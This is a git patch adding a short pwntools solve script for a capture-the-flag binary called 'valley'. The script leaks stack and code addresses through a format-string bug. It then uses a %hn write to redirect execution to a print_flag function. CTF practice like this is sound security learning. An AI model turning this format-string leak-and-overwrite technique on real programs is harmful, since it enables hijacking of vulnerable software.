From e22305275ffcd5b7dd15f439dcb304d519590f1b Mon Sep 17 00:00:00 2001 From: jc Date: Wed, 19 Mar 2025 02:08:17 +0300 Subject: [PATCH] solve script --- random_challs/valley/a.py | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 random_challs/valley/a.py diff --git a/random_challs/valley/a.py b/random_challs/valley/a.py new file mode 100644 index 0000000..79b00e7 --- /dev/null +++ b/random_challs/valley/a.py @@ -0,0 +1,27 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./valley", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendlineafter(b": ", a) +ss = lambda a: r.sendline(a) + +# leak +s(b"%20$p.%21$p") +r.recvuntil(b": ") +leaks = r.recvlineS().split(".") +stack_addr = int(leaks[0], 16) - 0x8 +log.info("stack_addr: %#x", stack_addr) +print_flag = int(leaks[1], 16) - 0x1aa +log.info("print_flag: %#x", print_flag) +write_bytes = int(str(hex(print_flag))[-4:], 16) +fs = f"%{write_bytes}x%8$hnAAAA".encode() + +# write +ss(fs+p64(stack_addr)) +ss(b"exit") + +r.interactive() \ No newline at end of file